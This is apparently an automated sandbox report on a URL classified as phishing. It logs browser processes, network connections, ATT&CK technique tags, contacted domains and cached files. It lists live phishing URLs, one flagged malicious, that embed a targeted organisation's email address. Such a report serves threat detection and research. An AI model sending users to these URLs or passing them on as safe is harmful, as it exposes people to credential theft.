Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@19/73@24/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2036,i,2107721403708843479,861960733534899891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2036,i,2107721403708843479,861960733534899891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://www.gstatic.c..?/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__.	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		unknown
a.nel.cloudflare.com	35.190.80.1	true	false		high
code.jquery.com	151.101.130.137	true	false		high
d2vgu95hoyrpkh.cloudfront.net	108.156.152.4	true	false		high
challenges.cloudflare.com	104.17.3.184	true	false		high
www.google.com	142.250.105.99	true	false		high
qnh3b.putimp.com	172.67.191.147	true	false		unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false		unknown
samartrace.co.ke	192.185.88.194	true	false		unknown
cdn.socket.io	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://qnh3b.putimp.com/favicon.ico	false		unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://qnh3b.putimp.com/yo0z/	false		unknown
https://qnh3b.putimp.com/stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8756a4b73c471383/1713296389254/ac6e7e9690d324482ebd2d423ffbf48f13700e35c15d10a6c638d2dc30502dc6/qxBmrjcxmoe-ekd	false		high
https://qnh3b.putimp.com/ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207	false		unknown
https://qnh3b.putimp.com/mnxoZafsKDuxUqjsrPcbj6GUIUShAhijNmBHuhIpjAkspqBG3juv220	false		unknown
https://qnh3b.putimp.com/pqJ7f9jIH8fWXt124b9wx40	false		unknown
https://qnh3b.putimp.com/opqRXS70VBE6D4xIXErMP9YghJL6HBfcH0bVXg3GFVCef200	false		unknown
https://qnh3b.putimp.com/ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170	false		unknown
https://www.google.com/recaptcha/api.js	false		high
https://qnh3b.putimp.com/mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142	false		unknown
https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://a.nel.cloudflare.com/report/v4?s=7Cq1fFiGHb%2B84J1CxIDjJOFeDMkXMJgZZbrS94qADkcXkdLypsmzF3rtO6CXtu5TpcXTRRJZFySBWsPtn%2BqJ1NNFptrkUNehGUVxGwiw8%2FnBMrK%2Bd1tKlP0uVwAJzA%3D%3D	false		high
https://qnh3b.putimp.com/ujHRglEIvSgsknQvpq6iCEG0CKt3VNPydRh7sZbzs6NVsOd6905	false		unknown
https://qnh3b.putimp.com/78znHbZYRRXfAgqb9845YeYc8Jyst60	false		unknown
https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com	false		unknown
https://qnh3b.putimp.com/absIDHZ3sTrsARG5gh30	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8756a4b73c471383/1713296389254/anpd4FQprUR7OPG	false		high
https://qnh3b.putimp.com/89Gdd5VtslDof12yyqgTFeyz80	false		unknown
https://qnh3b.putimp.com/qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8756a4b73c471383	false		high
https://qnh3b.putimp.com/56FMAGab1x5X48912	false		unknown
https://qnh3b.putimp.com/efsInCvmlWeCilStApO0mm7F34E2eYInRflSmn100	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0	false		high
https://qnh3b.putimp.com/23CP8hhTkYf7i1Y7Cu2889TsquUI9xy70	false		unknown
https://qnh3b.putimp.com/12pQHazQfq78CXM6wYqr50	false		unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false		high
https://qnh3b.putimp.com/ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230	false		unknown
https://a.nel.cloudflare.com/report/v4?s=9tnWU3PQJxYmm3SS2whNOILGui6GvOtkXewQiZqO9sirGA2bwYUZ2WnTxGaazrwhyBUvsC7tFix4%2B31soyW9jRzOw99CRIBEbi%2FsnRF0hHj886PtQiTWILawQl6nDQ%3D%3D	false		high
https://qnh3b.putimp.com/vbhBwfSdFwHEANiXnMfcwIszde	false		unknown
https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL#	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal	false		high
https://qnh3b.putimp.com/wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180	false		unknown
https://qnh3b.putimp.com/qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240	false		unknown
https://qnh3b.putimp.com/yo0z/#Mtransportforum@stanstedairport.com	false		unknown
https://qnh3b.putimp.com/uvDtFZCv0wFVvViM8VMRNhGDQANzFbqopDBnMwonX9jq8Iz80g3o34130	false		unknown
https://qnh3b.putimp.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	false		unknown
https://qnh3b.putimp.com/56mJNrBuzavr2jeVPN8ZPklcjOHObwtzd89109	false		unknown
https://qnh3b.putimp.com/yo0z/?dMtransportforum@stanstedairport.com	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_100.2.dr	false		high
https://support.google.com/recaptcha#6262736	chromecache_100.2.dr	false		high
https://www.gstatic.c..?/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__.	chromecache_100.2.dr	false	URL Reputation: safe	low
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_100.2.dr	false		high
https://cloud.google.com/contact	chromecache_100.2.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_100.2.dr	false		high
https://www.google.com/recaptcha/api2/	chromecache_100.2.dr, chromecache_105.2.dr	false		high
https://support.google.com/recaptcha	chromecache_100.2.dr	false		high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_100.2.dr	false		high
https://recaptcha.net	chromecache_100.2.dr	false	URL Reputation: safe	unknown
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_100.2.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_100.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_100.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.105.99	www.google.com	United States		15169	GOOGLEUS	false
192.185.88.194	samartrace.co.ke	United States		46606	UNIFIEDLAYER-AS-1US	false
172.67.191.147	qnh3b.putimp.com	United States		13335	CLOUDFLARENETUS	false
108.156.152.4	d2vgu95hoyrpkh.cloudfront.net	United States		16509	AMAZON-02US	false
151.101.130.137	code.jquery.com	United States		54113	FASTLYUS	false
104.17.3.184	challenges.cloudflare.com	United States		13335	CLOUDFLARENETUS	false
64.233.177.105	unknown	United States		15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false
104.21.84.116	unknown	United States		13335	CLOUDFLARENETUS	false
104.17.2.184	unknown	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427005
Start date and time:	2024-04-16 21:38:52 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@19/73@24/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.15.94, 64.233.185.138, 64.233.185.102, 64.233.185.101, 64.233.185.100, 64.233.185.113, 64.233.185.139, 142.250.9.84, 34.104.35.123, 13.85.23.86, 199.232.210.172, 192.229.211.108, 20.166.126.56, 64.233.185.94, 64.233.177.95, 74.125.136.95, 172.217.215.95, 172.253.124.95, 108.177.122.95, 173.194.219.95, 142.250.105.95, 142.251.15.95, 74.125.138.95, 142.250.9.95, 64.233.185.95, 20.242.39.171, 40.68.123.157, 142.250.105.94, 52.165.165.26
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (554)
Category:	downloaded
Size (bytes):	510578
Entropy (8bit):	5.695280300193632
Encrypted:	false
SSDEEP:	6144:/LJaSgOPDcwWOTEmzYSU9F0Gx95F+SiT1i7uiv5VQgDx212FC:IS4sGx97+SihiSrFIC
MD5:	E9CCB3DBDE79BA5FFDF9CAD4B32D59FD
SHA1:	3A8CD67ADC7C885BDF683F1E7F491E6A4A50679F
SHA-256:	8F2C6777C7CCC01AB67290FA8ACD5A4C4866BE64129F39DFAEB9197DFA15E137
SHA-512:	5CA7C8439030C9B4B966760C660640A094B0D6E30E10DF85D7B900C6F9108B0E309298ED93C006634BB3F437BAB3CFF1B83A5D1B18C666C04346F0856294C461
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0./.var y=function(){return[function(E,X,B,M,c,v,Y,I,h,J,F,a,C,R,P){return E+4>>3==(E-8<<2>=(R=[1,"F",22],E)&&(E+2&12)<E&&(M=u[32](4,B[R[1]]),P=A[16](32,0,X,B[R[1]],M)),R[0])&&(M=void 0===M?null:M,Y=[3,341,278],c=d[46](16,21,X,u[31](32,B)),J=e[48](7,Y[0],X,u[31](35,X),u[31](28,Y[R[0]])),I=g[27](77,15,u[31](29,X),X,u[31](33,438)),v=u[31](38,Y[2]),a=A[32](R[2],l[13](2,d[9](48,36),X),[u[7](24,v),u[31](34,X)]),C=[c,J,I,a],null!=M&&(h=A[8](73),F=A[8](72),C=[W[30](8,h,u[31](28,B),u[31](37,0))].concat(C,[W[30](8,.F,R[0],R[0]),h,e[39](12,M,X),F])),P=C),P}]}(),g=function(){return[function(E,X,B,M,c,v){return 3<=((((E^(v=[7,"W",2],19))&v[0]\|\|(this[v

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 103

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
MD5:	333EE830E5AB72C41DD9126A27B4D878
